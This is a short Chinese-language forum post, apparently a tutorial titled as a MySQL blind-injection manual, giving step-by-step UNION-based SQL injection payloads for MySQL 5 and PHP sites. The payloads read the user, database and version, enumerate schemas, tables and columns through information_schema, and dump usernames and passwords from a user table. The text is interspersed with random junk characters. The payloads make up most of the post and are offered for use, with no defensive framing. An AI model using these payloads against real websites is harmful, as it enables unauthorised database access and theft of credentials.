mysql盲注手册

admin

9 S9 m: Z" q( L" G# ~教程内容:Mysql 5+php 注入



, P* h/ `9 S3 y* c- l( E一.查看MYSQL基本信息(库名,版本,用户)
) y9 {$ E4 G- l2 M
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
* a( q6 l" j; o' S" P/ z- k/ u
二.查数据库

# V3 {6 L/ V8 u- P3 B; aand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

三.暴表
1 R4 Y& |7 O7 e4 W
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
% s- B* u7 S) T* E# V1 K( o# |
limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

& }% p. B- v4 }, g四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
  d5 r# H2 G, S1 r& R) P, T+ N, \$ @* n
& `* H2 ~' m) O3 l' flimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

5 H8 B7 o8 V, J五.暴数据

/ V: f7 B: V7 Cand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
! e1 ?1 u6 v7 i9 X8 r+ E

$ Q0 ?2 ~, e+ j5 r3 h这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
1 t9 C/ E4 l0 U, K( g3 N6 K